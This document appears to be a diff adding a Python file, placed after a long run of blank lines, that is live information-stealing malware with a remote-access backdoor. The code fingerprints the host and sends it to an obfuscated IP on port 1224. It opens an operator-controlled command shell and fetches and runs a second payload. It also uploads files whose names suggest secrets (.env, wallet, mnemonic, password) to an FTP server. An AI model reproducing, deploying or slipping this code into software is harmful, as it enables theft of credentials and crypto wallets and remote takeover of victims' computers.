|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
import base64,socket
|
| 3 |
+
from uuid import getnode
|
| 4 |
+
from requests import get,post
|
| 5 |
+
from hashlib import sha256
|
| 6 |
+
from getpass import getuser
|
| 7 |
+
from platform import system,node,release,version
|
| 8 |
+
import time
|
| 9 |
+
|
| 10 |
+
sType = "5346"
|
| 11 |
+
gType = "root"
|
| 12 |
+
class System(object):
|
| 13 |
+
def __init__(A):
|
| 14 |
+
A.system=system()
|
| 15 |
+
if gType == "root":
|
| 16 |
+
A.hostname=node()
|
| 17 |
+
else:
|
| 18 |
+
A.hostname=gType + "_" + node()
|
| 19 |
+
A.release=release()
|
| 20 |
+
A.version=version()
|
| 21 |
+
A.username=getuser()
|
| 22 |
+
A.uuid=A.get_id()
|
| 23 |
+
def get_id(A):return sha256((str(getnode())+getuser()).encode()).digest().hex()
|
| 24 |
+
def sys_info(A):return{'uuid':A.uuid,'system':A.system,'release':A.release,'version':A.version,'hostname':A.hostname,'username':A.username}
|
| 25 |
+
|
| 26 |
+
class Geo(object):
|
| 27 |
+
def __init__(A):A.geo=A.get_geo();A.internal_ip=A.get_internal_ip()
|
| 28 |
+
def get_internal_ip(A):
|
| 29 |
+
try:return socket.gethostbyname_ex(hn)[-1][-1]
|
| 30 |
+
except:return''
|
| 31 |
+
def get_geo(A):
|
| 32 |
+
try:return get('http://ip-api.com/json').json()
|
| 33 |
+
except:pass
|
| 34 |
+
def net_info(A):
|
| 35 |
+
g=A.get_geo()
|
| 36 |
+
if g:
|
| 37 |
+
ii=A.internal_ip
|
| 38 |
+
if ii:g['internalIp']=ii
|
| 39 |
+
return g
|
| 40 |
+
|
| 41 |
+
class Information(object):
|
| 42 |
+
def __init__(A):A.net_info=Geo().net_info();A.sys_info=System().sys_info()
|
| 43 |
+
def parse(K,data):
|
| 44 |
+
J='regionName';I='country';H='query';G='city';F='isp';E='zip';D='lon';C='lat';B='timezone';_A='internalIp'
|
| 45 |
+
A=data;A={C:A[C]if C in A else'',D:A[D]if D in A else'',E:A[E]if E in A else'',F:A[F]if F in A else'',G:A[G]if G in A else'',H:A[H]if H in A else'',I:A[I]if I in A else'',B:A[B]if B in A else'',J:A[J]if J in A else'',_A:A[_A]if _A in A else''}
|
| 46 |
+
if'/'in A[B]:A[B]=A[B].replace('/',' ')
|
| 47 |
+
if'_'in A[B]:A[B]=A[B].replace('_',' ')
|
| 48 |
+
return A
|
| 49 |
+
def get_info(A):B=A.net_info;return{'sys_info':A.sys_info,'net_info':A.parse(B if B else[])}
|
| 50 |
+
|
| 51 |
+
host="LjE3LjI0OTUuMTY0"
|
| 52 |
+
#host=" NTEuMjEy MTAuMTAu"
|
| 53 |
+
PORT = 1224
|
| 54 |
+
HOST = base64.b64decode(host[8:] + host[:8]).decode()
|
| 55 |
+
if gType == "root":
|
| 56 |
+
hn = socket.gethostname()
|
| 57 |
+
else:
|
| 58 |
+
hn = gType + "_" + socket.gethostname()
|
| 59 |
+
|
| 60 |
+
class Comm(object):
|
| 61 |
+
def __init__(A):A.sys_info=Information().get_info()
|
| 62 |
+
def contact_server(A,ip,port):
|
| 63 |
+
A.ip,A.port=ip,int(port);B=int(time.time()*1000);C={'ts':str(B),'type':sType,'hid':hn,'ss':'sys_info','cc':str(A.sys_info)};D=f"http://{A.ip}:{A.port}/keys"
|
| 64 |
+
try:post(D,data=C)
|
| 65 |
+
except Exception as e:pass
|
| 66 |
+
def run_comm():c=Comm();c.contact_server(HOST, PORT);del c
|
| 67 |
+
run_comm()
|
| 68 |
+
|
| 69 |
+
import base64,platform,socket
|
| 70 |
+
from time import sleep
|
| 71 |
+
from socket import timeout as TimeOutError
|
| 72 |
+
import time
|
| 73 |
+
from datetime import datetime,timezone,timedelta
|
| 74 |
+
import json,os,struct,subprocess
|
| 75 |
+
from threading import Thread,RLock,Timer
|
| 76 |
+
import requests,ftplib
|
| 77 |
+
import ast
|
| 78 |
+
sHost = socket.gethostname()
|
| 79 |
+
host="LjE3LjI0OTUuMTY0"
|
| 80 |
+
#host=" NTEuMjEy MTAuMTAu"
|
| 81 |
+
_T=True;_F=False;_N=None;_A='admin';_O='output'
|
| 82 |
+
class Session(object):
|
| 83 |
+
def __init__(A,sock):A.sock=sock;A.info={'type':0,'group':sType,'name':sHost}
|
| 84 |
+
def shutdown(A):
|
| 85 |
+
try:A.sendall('[close]');A.sock.shutdown(socket.SHUT_RDWR);A.sock.close()
|
| 86 |
+
except:pass
|
| 87 |
+
def connect(A,ip,port):
|
| 88 |
+
A.sock.connect((ip,port));sleep(.5)
|
| 89 |
+
A.send(code=0,args=A.info)
|
| 90 |
+
sleep(.5);return _T
|
| 91 |
+
def struct(A,code=_N,args=_N):return json.dumps({'code': code,'args': args})
|
| 92 |
+
def send(A,code=_N,args=_N):d=A.struct(code, args);A.sendall(d)
|
| 93 |
+
def sendall(A,data):
|
| 94 |
+
try:
|
| 95 |
+
try:ii = data.encode()
|
| 96 |
+
except:ii = data
|
| 97 |
+
ii = struct.pack('>I', len(ii)) + ii
|
| 98 |
+
A.sock.sendall(ii)
|
| 99 |
+
except:pass
|
| 100 |
+
def recv(A):
|
| 101 |
+
try:
|
| 102 |
+
print("start ses recv")
|
| 103 |
+
ll = A.recvall(4)
|
| 104 |
+
print("ses recv size:", ll)
|
| 105 |
+
if not ll:return _N
|
| 106 |
+
ml = struct.unpack('>I', ll)[0]
|
| 107 |
+
print("ses recv:", ml)
|
| 108 |
+
# Read the message datacls
|
| 109 |
+
return A.recvall(ml)
|
| 110 |
+
except TimeOutError:return -1
|
| 111 |
+
except:pass
|
| 112 |
+
def recvall(A,size):
|
| 113 |
+
try:
|
| 114 |
+
d = bytearray()
|
| 115 |
+
while len(d) < size:
|
| 116 |
+
pt = A.sock.recv(size - len(d))
|
| 117 |
+
if not pt:return _N
|
| 118 |
+
d.extend(pt)
|
| 119 |
+
return d
|
| 120 |
+
except:return _N
|
| 121 |
+
|
| 122 |
+
e_buf = ""
|
| 123 |
+
def decode_str(ss):
|
| 124 |
+
try:r=ss.decode('utf8');return r
|
| 125 |
+
except:
|
| 126 |
+
try:r=ss.decode('cp1252');return r
|
| 127 |
+
except:
|
| 128 |
+
try:r=ss.decode('mac_roman');return r
|
| 129 |
+
except:return ss
|
| 130 |
+
|
| 131 |
+
ex_files = ['.exe','.dll','.msi','.dmg','.iso','.pkg','.apk','.xapk','.aar','.ap_','.aab','.dex','.class','.rpm','.deb','.ipa','.dsym','.mp4','.avi','.mp3','.wmv','.wma','.mov','.webm','.avchd','.mkv','.ogg','.mpe','.mpv','.mpeg','.m4p','.m4a','.m4v','.aac','.flac','.aiff','.qt','.flv','.swf','.pyc','.lock','.psd','.pack','.old','.ppt','.pptx','.virtualization','.indd','.eps','.ai','.a','.jar','.so','.o','.wt','.lib','.dylib','.bin','.ffx','.svg','.css','.scss','.gem','.html']
|
| 132 |
+
ex_dirs = ['vendor','Pods','node_modules','.git','.next','.externalNativeBuild','sdk','.idea','cocos2d','compose','proj.ios_mac','proj.android-studio','Debug','Release','debug','release','obj','Obj','xcuserdata','.gradle','build','storage','.android','Program Files (x86)','$RECYCLE.BIN','Program Files','Windows','ProgramData','cocoapods','homebrew','.svn','sbin','standalone','local','ruby','man','zsh','Volumes','Applications','Library','System','Pictures','Desktop','usr','android','var','__pycache__','.angular','cache','.nvm','.yarn','.docker','.local','.vscode','.cache','__MACOSX','.pyp','.gem','.config','.rustup','.pyenv','.rvm','.sdkman','.nix-defexpr','.meteor','.nuget','.cargo','.vscode-insiders','.gemexport','.Bin','.oh-my-zsh','.rbenv','.ionic','.mozilla','.var','.cocoapods','.flipper','.forever','.quokka','.continue','.pub-cache','.debris','jdk','.wine32','.phpls','.typeChallenges','.sonarlint','.aptos','.bluemix','.bundle','.cabal','.changes','.changeset','.circleci','.cp','.cpanm','.cxx','.dart_tool','.dartServer','.dbvis','.deps','.devcontainer','.dotnet','.dropbox.cache','.dthumb','.ebcli-virtual-env','.eclipse','eclipse','.electrum','.executables','.exp','.ghcup','.github','.gnupg','.hash','.hasura','.IdentityService','.indexes','.install','.install4j','.kokoro','.localized','.npm','.node-gyp','.p2','.platformio','.plugin_symlinks','.plugins','.store','.storybook','.tmp','tmp','.turbo','.versions','.vs','.vscode-server','.yalc','!azure','x-pack','lib64','site-packages','node_modules12','kibana-8.5.0','google-cloud-sdk','golang.org','Assets.xcassets','arduino']
|
| 133 |
+
pat_envs = ['.env','config.js','secret','metamask','wallet','private','mnemonic','password','account','.xls','.xlsx','.doc','.docx','.rtf']
|
| 134 |
+
ex1_files = ['.php','.svg','.htm','.hpp','.cpp','.xml','.png','.swift','.ccb','.jsx','.tsx','.h','.java']
|
| 135 |
+
ex2_files = ['tsconfig.json','tailwind.config.js','svelte.config.js','next.config.js','babel.config.js','vite.config.js','webpack.config.js','postcss.config.js','robots.txt','license.txt','.ds_store','.angular-config.json','package-lock.json']
|
| 136 |
+
|
| 137 |
+
def ld(rd,pd):
|
| 138 |
+
dir=os.path.join(rd,pd);res=[];res.append((pd,''));sa = os.listdir(dir)
|
| 139 |
+
for x in sa:
|
| 140 |
+
fn=os.path.join(dir,x)
|
| 141 |
+
try:
|
| 142 |
+
x0 = x.lower()
|
| 143 |
+
if os.path.isfile(fn):
|
| 144 |
+
ff, fe = os.path.splitext(x0)
|
| 145 |
+
if not fe in ex_files and os.path.getsize(fn) < 104857600:res.append((pd, x))
|
| 146 |
+
elif os.path.isdir(fn):
|
| 147 |
+
if not x in ex_dirs and not x0 in ex_dirs:
|
| 148 |
+
if pd != '':t=pd+'/'+x
|
| 149 |
+
else:t=x
|
| 150 |
+
res=res+ld(rd,t)
|
| 151 |
+
except:pass
|
| 152 |
+
return res
|
| 153 |
+
def ld0(rd,pd):
|
| 154 |
+
dir=os.path.join(rd,pd);res=[];res.append((pd,''));sa = os.listdir(dir)
|
| 155 |
+
for x in sa:
|
| 156 |
+
if x==ex_dirs[0] or x==ex_dirs[1] or x==ex_dirs[2] or x==ex_dirs[3] or x==ex_dirs[4]:continue
|
| 157 |
+
try:
|
| 158 |
+
fn=os.path.join(dir,x)
|
| 159 |
+
if os.path.isfile(fn):res.append((pd, x))
|
| 160 |
+
elif os.path.isdir(fn):
|
| 161 |
+
if pd != '':t=pd+'/'+x
|
| 162 |
+
else:t=x
|
| 163 |
+
res=res+ld0(rd,t)
|
| 164 |
+
except:pass
|
| 165 |
+
return res
|
| 166 |
+
def ld1(rd,pd,pat):
|
| 167 |
+
D=pat;B=pd
|
| 168 |
+
if D=='':return[]
|
| 169 |
+
dir=os.path.join(rd,B);res=[];res.append((B,''));S=os.listdir(dir)
|
| 170 |
+
for x in S:
|
| 171 |
+
fn=os.path.join(dir,x)
|
| 172 |
+
try:
|
| 173 |
+
x0 = x.lower()
|
| 174 |
+
if os.path.isfile(fn):
|
| 175 |
+
ff, fe = os.path.splitext(x0)
|
| 176 |
+
if not fe in ex_files and os.path.getsize(fn)<104857600:
|
| 177 |
+
if x0.find(D) >= 0: res.append((B, x))
|
| 178 |
+
elif os.path.isdir(fn):
|
| 179 |
+
if not x in ex_dirs and not x0 in ex_dirs:
|
| 180 |
+
if B != '':t=B+'/'+x
|
| 181 |
+
else:t=x
|
| 182 |
+
res=res+ld1(rd,t,D)
|
| 183 |
+
except:pass
|
| 184 |
+
return res
|
| 185 |
+
def fmt_s(s):
|
| 186 |
+
if s<1024:return str(s)+'B'
|
| 187 |
+
elif s<1048576:return'{:.0f}KB'.format(s/1024.)
|
| 188 |
+
elif s<1073741824:return'{:.1f}MB'.format(s/1048576.)
|
| 189 |
+
else:return'{:.1f}GB'.format(s/1073741824.)
|
| 190 |
+
def FM(f,d):
|
| 191 |
+
try:f.mkd(d)
|
| 192 |
+
except:pass
|
| 193 |
+
|
| 194 |
+
os_type = platform.system()
|
| 195 |
+
class Shell(object):
|
| 196 |
+
def __init__(A,S):
|
| 197 |
+
A.sess = S;A.is_alive = _T;A.is_delete = _F;A.lock = RLock();A.timeout_count=0;A.cp_stop=0
|
| 198 |
+
A.par_dir = os.path.join(os.path.expanduser("~"), ".n2")
|
| 199 |
+
A.cmds = {1:A.ssh_obj,2:A.ssh_cmd,3:A.ssh_clip,4:A.ssh_run,5:A.ssh_upload,6:A.ssh_kill,7:A.ssh_any,8:A.ssh_env}
|
| 200 |
+
print("init success")
|
| 201 |
+
def listen_recv(A):
|
| 202 |
+
while A.is_alive:
|
| 203 |
+
try:
|
| 204 |
+
print("start listen")
|
| 205 |
+
recv=A.sess.recv()
|
| 206 |
+
print("listen recv:", recv)
|
| 207 |
+
if recv==-1:
|
| 208 |
+
if A.timeout_count<30:A.timeout_count+=1;continue
|
| 209 |
+
else:A.timeout_count=0;recv=_N
|
| 210 |
+
if recv:
|
| 211 |
+
A.timeout_count=0
|
| 212 |
+
with A.lock:
|
| 213 |
+
D=json.loads(recv);c=D['code'];args=D['args']
|
| 214 |
+
try:
|
| 215 |
+
if c != 2:
|
| 216 |
+
args=ast.literal_eval(args)
|
| 217 |
+
except:
|
| 218 |
+
pass
|
| 219 |
+
if c in A.cmds:tg=A.cmds[c];t=Thread(target=tg,args=(args,));t.start()#tg(args)
|
| 220 |
+
else:
|
| 221 |
+
if A.is_alive:A.is_alive=_F;A.close()
|
| 222 |
+
else:
|
| 223 |
+
if A.is_alive:A.timeout_count=0;A.is_alive=_F;A.close()
|
| 224 |
+
except Exception as ex:print("error_listen:", ex)
|
| 225 |
+
|
| 226 |
+
def shell(A):
|
| 227 |
+
print("start shell")
|
| 228 |
+
t1 = Thread(target=A.listen_recv);t1.daemon=_T;t1.start()
|
| 229 |
+
while A.is_alive:
|
| 230 |
+
try:sleep(5)
|
| 231 |
+
except:break
|
| 232 |
+
A.close()
|
| 233 |
+
return A.is_delete
|
| 234 |
+
|
| 235 |
+
def send(A,code=_N,args=_N):A.sess.send(code=code,args=args)
|
| 236 |
+
def sendall(A,m):A.sess.sendall(m)
|
| 237 |
+
def close(A):A.is_alive=_F;A.sess.shutdown()
|
| 238 |
+
def send_n(A,a,n,o):p={_A:a,_O:o};A.send(code=n,args=p)
|
| 239 |
+
|
| 240 |
+
def ssh_cmd(A,args):
|
| 241 |
+
try:
|
| 242 |
+
if args=='delete':o='[close]'
|
| 243 |
+
else:return
|
| 244 |
+
except Exception as e:o=f'Error_cmd: {e}'
|
| 245 |
+
try:
|
| 246 |
+
A.sendall(o);A.is_delete = _T
|
| 247 |
+
A.sock.shutdown(socket.SHUT_RDWR);A.sock.close()
|
| 248 |
+
except: pass
|
| 249 |
+
|
| 250 |
+
def ssh_obj(A,args):
|
| 251 |
+
o=''
|
| 252 |
+
try:
|
| 253 |
+
a=args[_A];cmd=args['cmd']
|
| 254 |
+
if cmd == '':o=''
|
| 255 |
+
elif cmd.split()[0] == 'cd':
|
| 256 |
+
proc = subprocess.Popen(cmd, shell=_T)
|
| 257 |
+
if len(cmd.split()) != 1:
|
| 258 |
+
p=' '.join(cmd.split()[1:])
|
| 259 |
+
if os.path.exists(p):os.chdir(p)
|
| 260 |
+
o=os.getcwd()
|
| 261 |
+
else:
|
| 262 |
+
proc=subprocess.Popen(cmd,shell=_T,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()
|
| 263 |
+
try:o=decode_str(proc[0]);err=decode_str(proc[1])
|
| 264 |
+
except:o=proc[0];err=proc[1]
|
| 265 |
+
o=o if o else err
|
| 266 |
+
except:pass
|
| 267 |
+
p={_A:a,_O:o};A.send(code=1, args=p)
|
| 268 |
+
|
| 269 |
+
def ssh_clip(A,args):
|
| 270 |
+
global e_buf
|
| 271 |
+
try:A.send(code=3, args=e_buf);e_buf = ""
|
| 272 |
+
except:pass
|
| 273 |
+
|
| 274 |
+
def down_bro(A,p):
|
| 275 |
+
if os.path.exists(p):
|
| 276 |
+
try:os.remove(p)
|
| 277 |
+
except OSError:return _T
|
| 278 |
+
try:
|
| 279 |
+
if not os.path.exists(A.par_dir):os.makedirs(A.par_dir)
|
| 280 |
+
except:pass
|
| 281 |
+
|
| 282 |
+
host2 = f"http://{HOST}:{PORT}"
|
| 283 |
+
try:
|
| 284 |
+
myfile = requests.get(host2+"/brow/"+sType+"/"+gType, allow_redirects=_T)
|
| 285 |
+
with open(p,'wb') as f:f.write(myfile.content)
|
| 286 |
+
return _T
|
| 287 |
+
except Exception as e:return _F
|
| 288 |
+
|
| 289 |
+
def ssh_run(A,args):
|
| 290 |
+
try:
|
| 291 |
+
a=args[_A];p=A.par_dir+"/bow";res=A.down_bro(p)
|
| 292 |
+
if res:
|
| 293 |
+
if os_type == "Windows":subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
|
| 294 |
+
else:subprocess.Popen([sys.executable,p])
|
| 295 |
+
o = os_type + ' get browse'
|
| 296 |
+
except Exception as e:o = f'Err4: {e}';pass
|
| 297 |
+
p={_A:a,_O: o};A.send(code=4,args=p)
|
| 298 |
+
|
| 299 |
+
def send_5(A,a,o):A.send_n(a,5,o)
|
| 300 |
+
def ssh_upload(A,args):
|
| 301 |
+
o=''
|
| 302 |
+
try:
|
| 303 |
+
D=args[_A];cmd=args['cmd']
|
| 304 |
+
cmd=ast.literal_eval(cmd)
|
| 305 |
+
if 'sdira' in cmd:sdir=cmd['sdira'];dn=cmd['dname'];sdir=sdir.strip();dn=dn.strip();A.ss_upa(D,cmd,sdir,dn);return _T
|
| 306 |
+
elif 'sdir' in cmd:sdir=cmd['sdir'];dn=cmd['dname'];sdir=sdir.strip();dn=dn.strip();A.ss_upd(D,cmd,sdir,dn);return _T
|
| 307 |
+
elif 'sfile' in cmd:sfile=cmd['sfile'];dn=cmd['dname'];sfile=sfile.strip();dn=dn.strip();A.ss_upf(D,cmd,sfile,dn);return _T
|
| 308 |
+
elif 'sfinda' in cmd:sdir=cmd['sfinda'];dn=cmd['dname'];pat=cmd['pat'];sdir=sdir.strip();dn=dn.strip();pat=pat.strip();A.ss_ufind(D,cmd,sdir,dn,pat);return _T
|
| 309 |
+
elif 'sfind' in cmd:dn=cmd['dname'];pat=cmd['pat'];dn=dn.strip();pat=pat.strip();A.ss_ufind(D,cmd,'.',dn,pat);return _T
|
| 310 |
+
else:A.ss_ups();o='Stopped ...'
|
| 311 |
+
except Exception as e:print("error_upload:", str(e));o = f'Err4: {e}';pass
|
| 312 |
+
A.send_5(D,o)
|
| 313 |
+
|
| 314 |
+
def o_ftp(A,args,name):
|
| 315 |
+
hn=args['hn'];un=args['un'];pw=args['pw']
|
| 316 |
+
f=ftplib.FTP(hn,un,pw);f.encoding='utf-8'
|
| 317 |
+
d='DA'+sType;FM(f,d)
|
| 318 |
+
d=d+'/'+sHost;FM(f,d)
|
| 319 |
+
d=d+'/'+name;FM(f,d)
|
| 320 |
+
return (f,d)
|
| 321 |
+
def s_ft(A,G,t,sd,rd,x,y):
|
| 322 |
+
sn=os.path.join(sd,x,y);dn=rd+'/'+x+'/'+y
|
| 323 |
+
try:
|
| 324 |
+
with open(sn,'rb') as f:
|
| 325 |
+
t.storbinary(f"STOR {dn}",f)
|
| 326 |
+
o=' copied ' + fmt_s(os.fstat(f.fileno()).st_size)+': '+x+' '+y
|
| 327 |
+
f.close();A.send_5(G,o)
|
| 328 |
+
except Exception as e:
|
| 329 |
+
o=' failed: '+sn+' > '+str(e);A.send_5(G,o)
|
| 330 |
+
|
| 331 |
+
def ss_upd(A,D,args,sd,name):
|
| 332 |
+
A.cp_stop=0;t=_N
|
| 333 |
+
try:
|
| 334 |
+
if sd=='.':sd=os.getcwd()
|
| 335 |
+
A.send_5(D,' >> upload start: ' + sd)
|
| 336 |
+
res=ld(sd,'')
|
| 337 |
+
A.send_5(D,' -count: ' + str(len(res)))
|
| 338 |
+
(t,rd)=A.o_ftp(args,name)
|
| 339 |
+
for (x,y) in res:
|
| 340 |
+
if A.cp_stop==1:A.send_5(D,' upload stopped ');return
|
| 341 |
+
if y=='':dn=rd+'/'+str(x);FM(t,dn)
|
| 342 |
+
else:A.s_ft(D,t,sd,rd,x,y)
|
| 343 |
+
t.close()
|
| 344 |
+
A.send_5(D,' uploaded success ')
|
| 345 |
+
except Exception as ex:
|
| 346 |
+
if t is not _N:t.close()
|
| 347 |
+
o=' copy error :'+str(ex);A.send_5(D,o)
|
| 348 |
+
|
| 349 |
+
def ss_upa(A,D,args,sd,name):
|
| 350 |
+
A.cp_stop=0;t=_N
|
| 351 |
+
try:
|
| 352 |
+
if sd=='.':sd=os.getcwd()
|
| 353 |
+
A.send_5(D,' >> upload all start: ' + sd)
|
| 354 |
+
res=ld0(sd,'')
|
| 355 |
+
A.send_5(D,' -counts: ' + str(len(res)))
|
| 356 |
+
(t,rd)=A.o_ftp(args,name)
|
| 357 |
+
for (x,y) in res:
|
| 358 |
+
if A.cp_stop==1:A.send_5(D,' upload stopped ');return
|
| 359 |
+
if y=='':dn=rd+'/'+str(x);FM(t,dn)
|
| 360 |
+
else:A.s_ft(D,t,sd,rd,x,y)
|
| 361 |
+
t.close()
|
| 362 |
+
A.send_5(D,' uploaded success ')
|
| 363 |
+
except Exception as ex:
|
| 364 |
+
if t is not _N:t.close()
|
| 365 |
+
print("error_upa:", str(ex));o=' copy error :'+str(ex);A.send_5(D,o)
|
| 366 |
+
|
| 367 |
+
def ss_upf(A,admin,args,sfile,name):
|
| 368 |
+
D=admin;A.cp_stop=0;t=_N
|
| 369 |
+
try:
|
| 370 |
+
sdir=os.getcwd()
|
| 371 |
+
A.send_5(D,' >> upload start: ' + sdir + ' ' + sfile)
|
| 372 |
+
(t,rd)=A.o_ftp(args,name)
|
| 373 |
+
sn=os.path.join(sdir,sfile);dn=rd+'/'+sfile
|
| 374 |
+
try:
|
| 375 |
+
with open(sn, "rb") as f:
|
| 376 |
+
t.storbinary(f"STOR {dn}", f)
|
| 377 |
+
o=' copied ' + fmt_s(os.fstat(f.fileno()).st_size) + ': ' + sfile
|
| 378 |
+
f.close();A.send_5(D,o)
|
| 379 |
+
except Exception as e:o=' failed: '+sn+' > '+str(e);A.send_5(D,o)
|
| 380 |
+
t.close()
|
| 381 |
+
A.send_5(D,' uploaded done ')
|
| 382 |
+
except Exception as ex:
|
| 383 |
+
if t is not _N:t.close()
|
| 384 |
+
o=' copy error :'+str(ex);A.send_5(D,o)
|
| 385 |
+
|
| 386 |
+
def ss_ufind(A,D,args,sd,name,pat):
|
| 387 |
+
A.cp_stop=0;t=_N
|
| 388 |
+
try:
|
| 389 |
+
if sd=='.':sd=os.getcwd()
|
| 390 |
+
A.send_5(D,' >> ufind start: ' + sd)
|
| 391 |
+
res=ld1(sd,'',pat)
|
| 392 |
+
A.send_5(D,' -count: ' + str(len(res)))
|
| 393 |
+
(t,rd)=A.o_ftp(args,name)
|
| 394 |
+
for (x,y) in res:
|
| 395 |
+
if A.cp_stop==1:A.send_5(D,' ufind stopped ');return
|
| 396 |
+
if y=='':dn=rd+'/'+str(x);FM(t,dn)
|
| 397 |
+
else:A.s_ft(D,t,sd,rd,x,y)
|
| 398 |
+
t.close();A.send_5(D,' ufind success ')
|
| 399 |
+
except Exception as ex:
|
| 400 |
+
if t is not _N:t.close()
|
| 401 |
+
o=' copy error :'+str(ex);A.send_5(D,o)
|
| 402 |
+
|
| 403 |
+
def ss_ups(A):A.cp_stop=1
|
| 404 |
+
|
| 405 |
+
def f_up(A,a,t,sd,dd,x,y):
|
| 406 |
+
try:
|
| 407 |
+
dn = dd
|
| 408 |
+
for i in x.split('/'):
|
| 409 |
+
dn = os.path.join(dn,i)
|
| 410 |
+
if i not in t.nlst(os.path.dirname(dn)):t.mkd(dn)
|
| 411 |
+
sn=os.path.join(sd,x,y);dn=dd+'/'+x+'/'+y
|
| 412 |
+
with open(sn, "rb") as f:t.storbinary(f"STOR {dn}", f);f.close()
|
| 413 |
+
except:pass
|
| 414 |
+
|
| 415 |
+
def ss_ld(A,a,t,sd,dd,pd):
|
| 416 |
+
dir=os.path.join(sd,pd);sa = os.listdir(dir);res=[]
|
| 417 |
+
for x in sa:
|
| 418 |
+
fn=os.path.join(dir,x)
|
| 419 |
+
try:
|
| 420 |
+
x0 = x.lower()
|
| 421 |
+
if os.path.isfile(fn):
|
| 422 |
+
ff, fe = os.path.splitext(x0)
|
| 423 |
+
if not x0 in ex2_files and not fe in ex_files and not fe in ex1_files and os.path.getsize(fn)<20971520:
|
| 424 |
+
for p in pat_envs:
|
| 425 |
+
if x0.find(p)>=0:A.f_up(a,t,sd,dd,x=pd,y=x);res.append((sd,pd,x));break
|
| 426 |
+
elif os.path.isdir(fn):
|
| 427 |
+
if not x in ex_dirs and not x0 in ex_dirs:
|
| 428 |
+
if pd != '':p=pd+'/'+x
|
| 429 |
+
else:p=x
|
| 430 |
+
res += A.ss_ld(a,t,sd,dd,p)
|
| 431 |
+
except:pass
|
| 432 |
+
return res
|
| 433 |
+
|
| 434 |
+
